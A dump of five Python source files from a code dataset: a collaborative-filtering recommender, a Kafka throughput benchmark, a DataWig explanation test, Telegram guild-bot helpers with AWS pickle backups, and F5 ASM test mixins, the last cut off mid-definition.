+{"seq_id":"542071218","text":"import pickle\nimport os\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom sklearn.utils import shuffle\nfrom datetime import datetime\nfrom itertools import permutations\n\ndef load_data():\n \"\"\"\n Load in the pickle file.\n \"\"\"\n try:\n with open('data/user2movie.json', 'rb') as f:\n user2movie = pickle.load(f)\n with open('data/movie2user.json', 'rb') as f:\n movie2user = pickle.load(f)\n with open('data/usermovie2rating.json', 'rb') as f:\n usermovie2rating = pickle.load(f)\n with open('data/user2movie_test.json', 'rb') as f:\n user2movie_test = pickle.load(f)\n with open('data/movie2user_test.json', 'rb') as f:\n movie2user_test = pickle.load(f)\n with open('data/usermovie2rating_test.json', 'rb') as f:\n usermovie2rating_test = pickle.load(f)\n except:\n raise Exception('File does not exist.')\n \n return user2movie, movie2user, usermovie2rating, user2movie_test, movie2user_test, usermovie2rating_test\n\n\n\n\n\ndef _compute(i, usermovie2rating, user_set):\n \"\"\"\n Helper function to compute coefficient.\n \"\"\"\n \n rating = {user: usermovie2rating[(user, i)] for user in user_set}\n avg = np.mean(list(rating.values()))\n dev = {user: (rating - avg) for user, rating in rating.items()}\n \n dev_values = np.array(list(dev.values()))\n sigma = np.sqrt(dev_values.dot(dev_values))\n\n return rating, avg, sigma, dev\n\ndef calculate_coef(K, limit, user2movie, movie2user, movie2user_test):\n \"\"\"\n Conduct modeling.\n \n Parameters\n --------\n K: int, number of neighbors to consider for correlation calculation\n limit: int, least number of common movies users mush have in common in order to consider\n \"\"\"\n N = np.max(list(user2movie.keys())) + 1\n m1 = np.max(list(movie2user.keys()))\n m2 = np.max(list(movie2user_test.keys())) \n M = max(m1, m2) + 1 ## we might find another unseen movie id in test set.\n \n neighbors = [] # store neighbors in this list \n averages_i = [] # each user's average rating\n deviations_i = [] # each user's deviation\n ratings_i = []\n sigmas_i = []\n ui_sets = []\n i = 0\n print(\"Total movies: \", M)\n for i in range(M):\n print(\"Now processing: movie \", i)\n users_i = movie2user[i]\n users_i_set = set(users_i)\n r, a, s, d = _compute(i, usermovie2rating, users_i_set)\n\n # save results\n ratings_i.append(r)\n averages_i.append(a)\n deviations_i.append(d)\n sigmas_i.append(s)\n ui_sets.append(users_i_set)\n \n ## Create common movie set\n common_movies = []\n linspace = np.linspace(0, M-1, M, dtype=int)\n for i, j in list(permutations(linspace, 2)):\n if i != j:\n cm = (ui_sets[i], ui_sets[j]) # intersection\n common_movies.append(cm)\n \n # averages_j = [] # each user's average rating\n # deviations_j = [] # each user's deviation\n # ratings_j = []\n # sigmas_j = []\n # for j in range(M):\n # # if len(common_movies) > limit:\n # # calculate avg and deviation\n # r, a, s, d, cm = _compute(i, usermovie2rating)\n \n # # save results\n # ratings_j.append(r)\n # averages_j.append(a)\n # deviations_j.append(d)\n # sigmas_j.append(s)\n # common_movies.append(cm)\n \n # linspace = np.linspace(0, M-1, M, dtype=int)\n sl = []\n for x, y in list(permutations(linspace, 2)):\n # calculate correlation coefficient\n if x != y and len(common_movies[y]) > limit:\n print(common_movies[y])\n print(deviations_i[x])\n print(deviations_i[y])\n numerator = sum(deviations_i[x][m]*deviations_i[y][m] for m in common_movies[y])\n w_ij = numerator / (sigmas_i[x] * sigmas_i[y])\n \n # truncate if there are too many values in the sorted list\n # sl.add((-w_ij,j)) # store negative weight because the list is sorted ascending\n sl.append((-w_ij, j))\n sl = sorted(sl)\n if len(sl) > K:\n del sl[-1]\n\n neighbors.append(sl)\n return sl, neighbors, averages_i, deviations_i\n \ndef _predict(i, m, sl, neighbors, averages, deviations):\n \"\"\"\n Helper function to make prediction for user i on movie m based on pre-computed coef.\n \n Parameters\n --------\n i: int, index for user \n m: int, index for movie\n sl: sorted list\n neighbors: \n averages: \n deviations: \n \"\"\"\n numerator, denominator = 0, 0\n for neg_w, j in neighbors[i]:\n try:\n # note that we store negative weights\n numerator += -neg_w * deviations[j][m]\n denominator += abs(-neg_w)\n except KeyError: # if the movie does not exist\n pass\n \n if denominator == 0:\n prediction = averages[i]\n else:\n prediction = numerator / denominator + averages[i]\n \n # clip the prediction to [0.5, 5]\n prediction = max(min(5, prediction), 0.5)\n return prediction\n\ndef predict(usermovie2rating, usermovie2rating_test, sl, neighbors, averages, deviations):\n \"\"\"\n Make prediction for all the ratings.\n \"\"\"\n train_predictions = []\n train_targets = []\n print(\"Now: Loop through training dataset.\")\n i = 0 \n for (i, m), target in usermovie2rating.items():\n print(\"Now predicting (train): user \", i)\n # predict for each of the user movie rating entry\n prediction = _predict(m, i, sl, neighbors, averages, deviations)\n \n train_predictions.append(prediction)\n train_targets.append(target)\n i += 1\n \n print(\"Now: Loop through testing dataset.\")\n test_predictions = []\n test_targets = []\n i = 0\n for (i, m), target in usermovie2rating_test.items():\n print(\"Now predicting (test): user \", i)\n prediction = _predict(m, i, sl, neighbors, averages, deviations)\n test_predictions.append(prediction)\n test_targets.append(target)\n i += 1\n\n return train_predictions, train_targets, test_predictions, test_targets\n\ndef calculate_rmse(prediction ,target):\n \"\"\"\n Calculate mean squared error\n \n Parameters\n --------\n \"\"\"\n p = np.array(prediction)\n t = np.array(target)\n return np.sqrt(np.mean((p-t)**2))\n \nif __name__ == '__main__':\n print(\"Now: Load data.\")\n user2movie, movie2user, usermovie2rating, user2movie_test, movie2user_test, usermovie2rating_test = load_data()\n print(\"Now: Calculate coefficient values.\")\n K = 20\n limit = 10\n sl, neighbors, averages, deviations = calculate_coef(K, limit, user2movie, movie2user, movie2user_test)\n print(\"Now: Perform Collaborative Filtering.\")\n train_predictions, train_targets, test_predictions, test_targets = predict(usermovie2rating, usermovie2rating_test, sl, neighbors, averages, deviations)\n print('Train rmse: ', calculate_rmse(train_predictions, train_targets))\n print('Test rmse: ', calculate_rmse(test_predictions, test_targets))","sub_path":"learning/Vectorized Item-based Collaborative Filtering.py","file_name":"Vectorized Item-based Collaborative Filtering.py","file_ext":"py","file_size_in_byte":7109,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"505381477","text":"import argparse\r\nparser = argparse.ArgumentParser()\r\nparser.add_argument(\"--host\", help=\"Kafka hostname\",\r\n required=True)\r\nparser.add_argument(\"--port\", help=\"Kafka port\",\r\n required=True)\r\nparser.add_argument(\"--srhost\", help=\"Schema registry hostname\",\r\n required=True)\r\nparser.add_argument(\"--seconds\", help=\"Number of seconds to send messages\",\r\n required=True)\r\nparser.add_argument(\"--bytes\", help=\"Number of bytes for the message\",\r\n required=True)\r\nparser.add_argument(\"--threads\", help=\"Number of threads\",\r\n required=True)\r\nargs = parser.parse_args()\r\n\r\nimport time\r\nimport mdml_client as mdml\r\nimport threading, queue\r\n\r\nmsg_count_q = queue.Queue()\r\n\r\ndef work(args, q):\r\n producer = mdml.kafka_mdml_producer(\r\n topic = \"mdml-example-throughput\",\r\n schema = \"example_throughput.json\",\r\n kafka_host = args.host,\r\n kafka_port = int(args.port),\r\n schema_host = args.srhost\r\n )\r\n\r\n dat = {\r\n 'filler': \"A\" * int(args.bytes)\r\n }\r\n i=0\r\n start = time.time()\r\n end_time = start + int(args.seconds)\r\n while time.time() < end_time:\r\n producer.produce(dat)\r\n i += 1\r\n if i % 1000 == 0:\r\n producer.flush()\r\n end = time.time()\r\n\r\n q.put(i)\r\n print(f\"Sent {i} messages with a random part size of {args.bytes} bytes in {end-start} seconds.\")\r\n print(f\"AVG Messages Per Second: {i/(end-start)}\")\r\n print(f\"AVG MB/sec {(i/(end-start))*(int(args.bytes)/1000000)}\")\r\n\r\nthreads = []\r\nfor i in range(int(args.threads)):\r\n thread = threading.Thread(target=work, kwargs={'args':args, 'q': msg_count_q}, daemon=True)\r\n threads.append(thread)\r\n\r\nfor thread in threads:\r\n thread.start()\r\n\r\nfor thread in threads:\r\n thread.join()\r\n\r\nnum_msgs = 0\r\nwhile not msg_count_q.empty():\r\n num_msgs += int(msg_count_q.get())\r\n\r\nprint(f\"Sent {num_msgs} messages with a random part size of {args.bytes} bytes in {args.seconds} seconds.\")\r\nprint(f\"AVG Messages Per Second: {num_msgs/int(args.seconds)}\")\r\nprint(f\"AVG MB/sec: {(num_msgs/int(args.seconds))*(int(args.bytes)/1000000)}\")","sub_path":"scripts/kafka-mdml/test_message_throughput_threaded.py","file_name":"test_message_throughput_threaded.py","file_ext":"py","file_size_in_byte":2221,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"632206774","text":"# Copyright 2018 Amazon.com, Inc. or its affiliates. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"). You may not\n# use this file except in compliance with the License. A copy of the License\n# is located at\n#\n# http://aws.amazon.com/apache2.0/\n#\n# or in the \"license\" file accompanying this file. This file is distributed on\n# an \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either\n# express or implied. See the License for the specific language governing\n# permissions and limitations under the License.\n\n\"\"\"\n\nDataWig tests for explaining predictions\n\n\"\"\"\n\nimport os\nimport datawig\nfrom datawig.utils import random_split\nfrom datawig.utils import logger\nimport pandas as pd\nimport numpy as np\nfrom sklearn.metrics import precision_score\nfrom datawig import Imputer\nlogger.setLevel(\"DEBUG\")\n\n\ndef test_explain_method_synthetic(test_dir):\n\n # Generate simulated data for testing explain method\n # Predict output column with entries in ['foo', 'bar'] from two columns, one\n # categorical in ['foo', 'dummy'], one text in ['text_foo_text', 'text_dummy_text'].\n # the output column is deterministically 'foo', if 'foo' occurs anywhere in any input column.\n N = 100\n cat_in_col = ['foo' if r > (1 / 2) else 'dummy' for r in np.random.rand(N)]\n text_in_col = ['fff' if r > (1 / 2) else 'ddd' for r in np.random.rand(N)]\n hash_in_col = ['h' for r in range(N)]\n cat_out_col = ['foo' if 'f' in input[0] + input[1] else 'bar' for input in zip(cat_in_col, text_in_col)]\n\n df = pd.DataFrame()\n df['in_cat'] = cat_in_col\n df['in_text'] = text_in_col\n df['in_text_hash'] = hash_in_col\n df['out_cat'] = cat_out_col\n\n # Specify encoders and featurizers #\n data_encoder_cols = [datawig.column_encoders.TfIdfEncoder('in_text', tokens=\"chars\"),\n datawig.column_encoders.CategoricalEncoder('in_cat', max_tokens=1e1),\n datawig.column_encoders.BowEncoder('in_text_hash', tokens=\"chars\")]\n data_featurizer_cols = [datawig.mxnet_input_symbols.BowFeaturizer('in_text'),\n datawig.mxnet_input_symbols.EmbeddingFeaturizer('in_cat'),\n datawig.mxnet_input_symbols.BowFeaturizer('in_text_hash')]\n\n label_encoder_cols = [datawig.column_encoders.CategoricalEncoder('out_cat')]\n\n # Specify model\n imputer = datawig.Imputer(\n data_featurizers=data_featurizer_cols,\n label_encoders=label_encoder_cols,\n data_encoders=data_encoder_cols,\n output_path=os.path.join(test_dir, \"tmp\", \"explanation_tests\")\n )\n\n # Train\n tr, te = random_split(df.sample(90), [.8, .2])\n imputer.fit(train_df=tr, test_df=te, num_epochs=20, learning_rate = 1e-2)\n predictions = imputer.predict(te)\n\n # Evaluate\n assert precision_score(predictions.out_cat, predictions.out_cat_imputed, average='weighted') > .99\n\n # assert item explanation, iterate over some inputs\n for i in np.random.choice(N, 10):\n # any instance label needs to be explained by at least on appropriate input column\n instance_explained_by_appropriate_feature = False\n\n explanation = imputer.explain_instance(df.iloc[i])\n top_label = explanation['explained_label']\n\n if top_label == 'bar':\n assert (explanation['in_text'][0][0] == 'd' and explanation['in_cat'][0][0] == 'dummy')\n elif top_label == 'foo':\n assert (explanation['in_text'][0][0] == 'f' or explanation['in_cat'][0][0] == 'foo')\n\n # assert class explanations\n assert np.all(['f' in token for token, weight in imputer.explain('foo')['in_text']][:3])\n assert ['f' in token for token, weight in imputer.explain('foo')['in_cat']][0]\n\n # test serialisation to disk\n imputer.save()\n imputer_from_disk = Imputer.load(imputer.output_path)\n assert np.all(['f' in token for token, weight in imputer_from_disk.explain('foo')['in_text']][:3])\n ","sub_path":"test/test_explain.py","file_name":"test_explain.py","file_ext":"py","file_size_in_byte":3962,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"311126388","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n#\n# Copyright (c) 2020 Gerasimov Alexander \n#\n# Various support functions\n#\n\nimport re, datetime, os, pickle\nfrom random import sample\nfrom logger import get_logger\nimport common\nfrom collections import Counter\nfrom commands import COMMANDS\nfrom icons import *\n\nlog = get_logger(\"bot.\" + __name__)\n\ndef AWSUploadFile(filepath):\n if not os.path.isfile(filepath):\n return False\n common.aws_client.upload_file(filepath, 'cloud-cube', 'tthoivsc7apn/' + filepath)\n return True\n\ndef AWSDownloadFile(filepath):\n if not os.path.isdir('AWS_TEMP'):\n os.mkdir('AWS_TEMP')\n destpath = 'AWS_TEMP/' + filepath\n # delete old file if exists\n if os.path.isfile(destpath):\n os.remove(destpath)\n common.aws_client.download_file('cloud-cube', 'tthoivsc7apn/' + filepath, destpath)\n if os.path.isfile(destpath):\n return destpath\n return None\n\ndef CheckInlineQuery(pattern, query): # check query for primary pattern support function \n res = re.compile(pattern).findall(query.query)\n if res != [] and len(res) == 1:\n return True\n return False\n\ndef IsCheckTimeQuery(query): # return if query contains check time and check time list\n pattern = COMMANDS[\"battle\"] + \" \"\n res_res = False\n res_time = None\n res_comment = None\n if CheckInlineQuery(pattern, query):\n # get battle time\n time = re.findall(r'(?:\\d|[01]\\d|2[0-3])\\D[0-5]\\d', query.query)\n if time != []:\n res_time = time[0]\n res_res = True\n # get battle comment if set\n try:\n battle_query = query.query.replace(pattern + res_time, \"\")\n comment = re.findall(r'(?:\\s[\\W\\w ]+)', battle_query)\n if comment != []:\n res_comment = comment[0][1:]\n except Exception:\n pass # comment field is not such an important option to manage all sort of exceptions for it\n return res_res, res_time, res_comment\n\ndef IsNumbersQuery(query): # return if query contains numbers check and the list of numbers\n pattern = COMMANDS[\"numbers\"] + \" \"\n if CheckInlineQuery(pattern, query):\n numbers_list = query.query.replace(pattern, \"\")\n numbers_all = re.findall(r'\\b(\\d?\\d)\\b', numbers_list)\n numbers_correct = re.findall(r'\\b([1-9]|[1-2]\\d|[3][0])\\b', numbers_list)\n if len(numbers_all) != len(numbers_correct):\n return False, None\n else:\n duplicates = [k for k, v in Counter(numbers_correct).items() if v > 1]\n if len(duplicates) > 0: # check for more than 1 repeats of same number\n return False, None\n else:\n return True, [int(num) for num in numbers_correct]\n else:\n return False, None\n\ndef IsCrysQuery(query): # return if query contains crystals check\n pattern = COMMANDS[\"crystals\"] + \" \"\n if CheckInlineQuery(pattern, query):\n range_list = query.query.replace(pattern, \"\")\n values = re.findall(r'\\b(\\d+)\\b', range_list)\n if values != [] and len(values) == 2: # exactly 2 numbers\n # max >= step, step > 0\n if int(values[0]) >= int(values[1]) and int(values[1]) > 0: \n # not too much buttons\n if int(values[0]) // int(values[1]) < 30:\n return True, values\n return False, None\n\ndef IsArsQuery(query): # return if query contains ars check and the time of rage\n pattern = COMMANDS[\"arsenal\"] + \" \"\n if CheckInlineQuery(pattern, query):\n rage_time_query = query.query.replace(pattern, \"\")\n rage_time = re.findall(r'(?:\\d|[01]\\d|2[0-3])\\D[0-5]\\d', rage_time_query)\n if rage_time != [] or len(rage_time) == 1:\n return True, rage_time[0]\n return False, None\n\ndef SendHelpNonAdmin(message):\n text = \"Мной могут управлять только офицеры гильдии.\\n\"\n text += \"Обратитесь к одному из офицеров за подробностями:\\n\\n\"\n for admin in common.admins:\n text += \"[%s](tg://user?id=%s)\\n\" % (common.admins[admin], admin)\n common.bot.send_message(message.from_user.id, text, parse_mode=\"markdown\")\n\ndef SendHelpNoBattle(chat_id):\n error_text = \"Текущий активный бой отсутствует.\\n\"\n error_text += \"Начните новый бой, упомянув меня в военном чате и задав время боя.\\n\"\n error_text += \"*Пример*: @assassinsgwbot бой 14-00\"\n common.bot.send_message(chat_id, error_text, parse_mode=\"markdown\")\n\ndef SendHelpWrongChat(toUser, command, description, needPrivate):\n if needPrivate:\n target_chat = \"в личном чате\"\n else:\n target_chat = \"в военном чате\"\n log.error(\"Failed: wrong chat command, need to use %s\" % target_chat)\n text = \"Используйте команду %s %s, чтобы %s!\" % (command, target_chat, description)\n common.bot.send_message(toUser, text)\n\ndef LogEvent(message):\n common.bot.send_message(common.logchat_id, message, disable_notification=True)\n\ndef CanStartNewPrecheck():\n res = common.current_precheck == None\n if not res:\n res = common.current_precheck.is_postponed\n return res\n\n\ndef CanStartNewCryscheck():\n res = common.current_cryscheck == None\n if not res:\n res = common.current_cryscheck.is_postponed\n return res\n\ndef CanStartNewBattle():\n res = common.current_battle == None\n if not res:\n res = common.current_battle.is_postponed\n return res\n\ndef CanStopCurrentBattle():\n res = not CanStartNewBattle()\n if res:\n now = datetime.datetime.now()\n elapsed = now - common.current_battle.time[\"start\"]\n res = int(elapsed.total_seconds()) >= 1*60*60 # more than 1 hour passed\n return res\n\ndef CanStartNewArs():\n res = common.current_arscheck == None\n if not res:\n res = common.current_arscheck.is_fired or common.current_arscheck.is_postponed\n return res\n\ndef CanStartNewNumbers():\n res = common.current_numcheck == None\n if not res:\n res = common.current_numcheck.is_postponed\n return res\n\ndef GetScreenMessageByMediaID(_id):\n global screen_message_list\n if common.screen_message_list:\n for screen in common.screen_message_list:\n if screen.media_group_id == _id:\n return screen\n return None\n\ndef IsUserAdmin(id):\n from statistics import User\n if isinstance(id, User):\n id = id._id\n if str(id) in common.admins or \\\n str(id) == common.ROOT_ADMIN[0]:\n return True\n else:\n return False\n\ndef IsInPrivateChat(message):\n if message.chat.id == message.from_user.id:\n return True\n return False\n\ndef IsGWDurationTime():\n now = datetime.datetime.now()\n gw_time = [now.replace(day=4, hour=18, minute=0, second=1), # 18-00 (MSK) Friday\n now.replace(day=6, hour=17, minute=59, second=59), # 18-00 (MSK) Sunday\n ]\n if now >= gw_time[0] and \\\n now <= gw_time[1]:\n return True\n return False\n\ndef IsGWEndingTime():\n \"\"\"\n Allow to request best users statistic and other 'after-gw' commands\n At Sunday (18:00+ MSK) and Monday (whole day)\n \"\"\"\n now = datetime.datetime.now()\n avail_time = now.replace(hour=18, minute=0, second=0)\n if now.weekday() == 0 or \\\n now.weekday() == 6 and \\\n now >= avail_time:\n return True\n return False\n\ndef NeedCheckBackup(check):\n if not check: # guide case, ignore that\n return False\n if check.last_backup:\n elapsed = int((datetime.datetime.now() - check.last_backup).total_seconds())\n if elapsed >= common.settings.GetSetting(\"backup_timeout\")*60:\n return True\n else:\n return True\n return False\n\ndef AWSCheckBackup(check):\n \"\"\"\n Backup selected battle check into pickle file.\n Upload to AWS\n \"\"\"\n log.debug(\"AWS Battle check (%s) backup started\", type(check).__name__)\n BACKUP_NAME = \"GWBotCurrent\" + type(check).__name__ + \".BAK\"\n with open(BACKUP_NAME, 'wb') as backup:\n pickle.dump(check, backup, pickle.HIGHEST_PROTOCOL)\n backup.close()\n if AWSUploadFile(BACKUP_NAME):\n log.debug(\"Battle check (%s) has been successfully uploaded to AWS cloud.\", type(check).__name__)\n else:\n log.error(\"Battle check (%s) AWS upload failed.\", type(check).__name__)\n\ndef AWSCheckRestore(className):\n \"\"\"\n Restore selected battle check from pickle file (download from AWS).\n Commonly used after bot start (thanks Heroku for daily restarts)\n \"\"\"\n log.debug(\"AWS Battle check (%s) restore started\", className)\n try:\n BACKUP_NAME = \"GWBotCurrent\" + className + \".BAK\"\n # download backup\n filepath = AWSDownloadFile(BACKUP_NAME)\n if filepath == None:\n raise Exception(\"Battle check (%s) AWS download failed.\", className)\n log.debug(\"Battle check (%s) has been successfully downloaded from AWS cloud.\", className)\n # unwrap and set object\n with open(filepath, 'rb') as f:\n check = pickle.load(f)\n f.close()\n if className == \"Battle\":\n common.current_battle = check\n elif className == \"Arsenal\":\n common.current_arscheck = check\n elif className == \"NumbersCheck\":\n common.current_numcheck = check\n log.debug(\"Restoring Battle check (%s) successful.\", className)\n # common.bot.send_message(int(common.ROOT_ADMIN[0]), ICON_CHECK+\" Чек %s восстановлен!\" % className)\n except Exception as err:\n log.error(\"Restoring Battle check (%s) failed: %s\", className, str(err))\n\n# generate Snow White praise text for user (random pool) \n# def SnowGeneratePraise(user):\n# text = ICON_SNOW + \" \"\n# if user[1]:\n# text += \"[%s\" % user[1]\n# else:\n# text += \"[%s\" % user[2]\n# text += \"](tg://user?id=%d), %s\" % (user[0], sample(snowPraisePool, 1)[0])\n# return text\n\n# snowPraisePool = [\n# \"тобой была проделана б��льшая работа! 🤯\",\n# \"мы побеждали благодаря тебе! 😉\",\n# \"я знала, что на тебя можно положиться! 💋\",\n# \"я горжусь тобой! 😘\",\n# \"я была уверена, что ты не подведешь! 🛡\",\n# \"именно так надо сражаться! 🎯\",\n# \"ты очень классно воевал! Чувствуется профессионализм и опыт. 😎\",\n# \"я горжусь, что ты в нашей команде! 🥰\",\n# \"ты всё делаешь правильно! 🤗\",\n# \"как тебе это удается? 😧\",\n# \"твое участие - как раз то, что было нам нужно! 😋\",\n# \"наши победы - твои победы 🧐\",\n# \"это было незабываемо! 😍\",\n# \"грандиозная игра! 🤩\",\n# \"гораздо лучше, чем я ожидала! 😅\",\n# \"ух! 😏\",\n# \"нам очень важна твоя помощь! 😇\",\n# \"воевать с тобой просто радость! 🥰\",\n# \"ты нам необходим! 😎\",\n# \"я сойду с ума, если с тобой что-нибудь случится! 😓\",\n# \"экстра – класс! 🤙\",\n# \"с каждым днем у тебя получается всё лучше! 🙌\",\n# \"Уже лучше! 🤘\",\n# \"еще лучше, чем прежде! 👍\",\n# \"научи меня воевать так же! ⚔️\",\n# \"нам без тебя не обойтись! ⭐️\",\n# \"неподражаемая игра! 🏆\",\n# \"никто не может заменить тебя! 🥇\",\n# \"я сама не смогла бы сыграть лучше! 🎖\",\n# \"очень эффектно! 🎸\",\n# \"ты лучше, чем все, кого я знаю! 🤴\",\n# \"к этому осталось добавить: «Я люблю тебя!» 💋\",\n# \"ТЕБЕ ВЫПАЛА СЕКРЕТНАЯ ФРАЗА! 👽\",\n# \"даже не знаю, как тебя отблагодарить за такую работу! 💪\",\n# ]\n","sub_path":"helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":12403,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"424533067","text":"# Add your TestCase mixins here...\n\nimport os\nimport re\nimport sys\nimport time\nimport random\nimport logging\nimport collections\nimport f5test.commands.rest as RCMD\nfrom f5test.interfaces.rest.emapi.objects.asm import CmAsmAllAsmDevicesGroup\nfrom f5test.utils.wait import wait\nfrom f5test.base import Options\nfrom nose.plugins.skip import SkipTest\n\n\nLOG = logging.getLogger(__name__)\nCHECKLIST = 'checklist'\n\n# for big-ip\nURL_TM_DEVICE_INFO = \"/mgmt/shared/identified-devices/config/device-info\"\n\nclass AsmTestCase(object):\n\n def get_unique_tag(self):\n date = time.strftime(\"%Y%m%d\")\n now = time.strftime(\"%H%M%S\")\n process_id = os.getpid()\n random_int = ''.join([\"%s\" % random.randint(0, 9) for x in range(3)]) # 3 digits random number\n return \"%s-%s-%s-%s\" % (date, now, process_id, random_int)\n\n def remove_keys(self, dictionary, keys_to_remove):\n \"\"\"Return a copy of dictionary with specified keys removed.\"\"\"\n if not keys_to_remove:\n return dictionary\n\n d = dict(dictionary)\n for key in keys_to_remove:\n if key in d:\n del d[key]\n return d\n\n def assert_hash_equal(self, hash1, hash2, keys_to_remove=None, msg=None):\n # Remove the keys that is independant on hash1 and hash2\n hash1_truncated = self.remove_keys(hash1, keys_to_remove)\n hash2_truncated = self.remove_keys(hash2, keys_to_remove)\n\n # Assert parameters in hash1 and hash2 are the same\n self.maxDiff = None\n LOG.debug(\"==>expected:\" + str(hash1_truncated))\n LOG.debug(\"==>actual:\" + str(hash2_truncated))\n self.assertDictEqual(hash1_truncated, hash2_truncated, msg=msg)\n\n def assert_array_of_hashes_equal(self, expected, actual, primary_key, keys_to_remove=None, msg=None, strict=False):\n \"\"\"This asserts that two array of hashes match each other.\n ex: both array has a hash that has the same description, \"Illegal...\",\n the following error msg means that, with the hash that has the same primary_key:\n 1) hash of actual array doesn't have the missing key key1 which hash of expected array has.\n 2) hash of actual array has addtional key key2 than hash of expected array.\n 3) hash of actual array and hash of expected array have same key but diff values.\n\n [Hash with \"description\":\"Illegal attachment in SOAP message\"]\n [missing keys] \"name\":\"key1\" <-- Doens't show in strict mode\n [additional keys] \"name\":\"key2\" <-- Doens't show in strict mode\n [diff values] violationReference\n [ ] len_expected vs len_actual\n [ ] {'link': 'https://localhost/mgmt/tm/asm/violations/tkmi0bSUBGtyF2frCc7ByA'}\n [ ] {'kind': 'cm:asm:working-config:violations:violationstate'...}\n \"\"\"\n LOG.debug(\"==>expected:\" + str(expected))\n LOG.debug(\"==>actual:\" + str(actual))\n LOG.debug(\"primary_key's type:\" + str(type(primary_key)) + \"should eq \")\n LOG.debug(\"expected's type:\" + str(type(expected)) + \"should eq \")\n val_of_primary_key_list_expected = sorted([ hash[primary_key] for hash in expected ])\n val_of_primary_key_list_actual = sorted([ hash[primary_key] for hash in actual ])\n # Assert both array has the same number of hash and same primary key values\n self.assertEqual(val_of_primary_key_list_expected, val_of_primary_key_list_actual)\n\n OK = 1\n msg = \"\\n\"\n for hash_e in expected:\n for hash_a in actual:\n if hash_e[primary_key] == hash_a[primary_key]:\n fail_msg = '[Hash with \"%s\":\"%s\"]'\\\n % (primary_key, hash_e[primary_key]) + \"\\n\"\n # Remove the keys that is independant on bigip and bigiq\n hash_e = self.remove_keys(hash_e, keys_to_remove)\n hash_a = self.remove_keys(hash_a, keys_to_remove)\n\n # Compare if the hash with same pk value has same keys\n # As hash keys compared here isn't huge, iterates through multiple times\n same_keys = [key for key in list(hash_a.keys()) if key in list(hash_e.keys())]\n missing_keys = [key for key in list(hash_e.keys()) if key not in list(hash_a.keys())]\n additional_keys = [key for key in list(hash_a.keys()) if key not in list(hash_e.keys())]\n if missing_keys:\n OK = 0 if strict else 1\n missing_key_value_pair = [(key, hash_e[key]) for key in missing_keys]\n for missing_key in missing_key_value_pair:\n fail_msg += \"[missing keys] \" + \\\n '\"%s\":\"%s\"' % (missing_key[0], missing_key[1]) + \"\\n\"\n if additional_keys:\n OK = 0 if strict else 1\n additional_key_value_pair = [(key, hash_a[key]) for key in additional_keys]\n for additional_key in additional_key_value_pair:\n fail_msg += \"[additional keys] \" + \\\n '\"%s\":\"%s\"' % (additional_key[0], additional_key[1]) + \"\\n\"\n\n wrong_value_for_same_key = {}\n for key in same_keys:\n if isinstance(hash_e[key], list) and isinstance(hash_a[key], list):\n hash_e[key] = [str(x) for x in hash_e[key]]\n hash_a[key] = [str(x) for x in hash_a[key]]\n if collections.Counter(hash_e[key]) != collections.Counter(hash_a[key]):\n OK = 0\n fail_msg += \"%s,\\nexpected:\\n%s,\\nactual:\\n%s\" % \\\n (key, hash_e[key], hash_a[key])\n elif hash_a[key] != hash_e[key]:\n OK = 0\n fail_msg += (\"[diff values] (key) %s\\n\" % key\n + \" (len diff) expected %s vs actual %s\\n\" % (len(hash_e[key]), len(hash_a[key]))\n + \" (expected val) %s\\n\" % repr(hash_e[key])\n + \" (actual val) %s\\n\" % repr(hash_a[key]))\n\n # If this comparison fails, add fail msg to the msg stack\n if OK == 0:\n msg += fail_msg\n if OK == 0:\n self.fail(msg)\n\n def assertDictContainsSubsetWithList(self, expected, actual, msg=None):\n \"\"\"Checks whether actual is a superset of expected.\"\"\"\n missing = []\n mismatched = []\n for key, value in expected.items():\n if key not in actual:\n missing.append(key)\n elif isinstance(value, list) and isinstance(actual[key], list):\n value = [str(x) for x in value]\n actual[key] = [str(x) for x in actual[key]]\n if collections.Counter(value) != collections.Counter(actual[key]):\n mismatched.append('%s,\\nexpected:\\n%s,\\nactual:\\n%s' %\n (key, value, actual[key]))\n elif value != actual[key]:\n mismatched.append('%s,\\nexpected:\\n%s,\\nactual:\\n%s' %\n (key, value, actual[key]))\n\n if not (missing or mismatched):\n return\n\n standardMsg = ''\n if missing:\n standardMsg = 'Missing: %s' % ','.join(safe_repr(m) for m in\n missing)\n if mismatched:\n if standardMsg:\n standardMsg += '; '\n standardMsg += 'Mismatched values: %s' % ','.join(mismatched)\n\n if standardMsg != '':\n self.fail(standardMsg)\n\n\n def assert_two_elements_equal(self, element1, element2,\n keys_to_remove=None, primary_key=None, msg=None):\n \"\"\"Element could be either a hash or an array of hashes.\"\"\"\n LOG.debug(\"==>keys_to_remove:\" + str(keys_to_remove))\n LOG.debug(\"==>msg:\" + str(msg))\n if len(element1) == 0 and len(element2) == 0:\n self.fail(\"Items are empty!\")\n elif len(element1) == 1 and len(element2) == 1:\n LOG.info(\"calling assert_hash_equal()\")\n self.assert_hash_equal(element1[0], element2[0],\n keys_to_remove=keys_to_remove,\n msg=msg)\n elif len(element1) >= 1 and len(element2) >= 1:\n LOG.info(\"calling assert_array_of_hashes_equal()\")\n self.assert_array_of_hashes_equal(element1, element2,\n primary_key=primary_key,\n keys_to_remove=keys_to_remove,\n msg=msg)\n else:\n self.fail(\"Wrong element items: %s&%s\" % (len(element1), len(element2)))\n\n def get_subcollectionReference_link(self, item_name, subcollection_name, response):\n \"\"\"Return the subcollection reference link of a specified item and subcollection in a given response.\"\"\"\n subcollectionReference_link = None\n for item in response[\"items\"]:\n if item.name == item_name:\n subcollectionReference = subcollection_name + 'Reference'\n if subcollectionReference not in item:\n self.fail(\"'%s' not found.\" % subcollectionReference)\n subcollectionReference_link = item.subcollectionReference.link\n break\n else:\n self.fail(\"'%s' not found.\" % item_name)\n return subcollectionReference\n\n\n\nclass SplitTestCase(object):\n \"\"\"\n Provides a \"checklist\" dictionary as self.c that's shared between split phases.\n\n The assumption is that tests in both phases are named the same.\n \"\"\"\n\n def 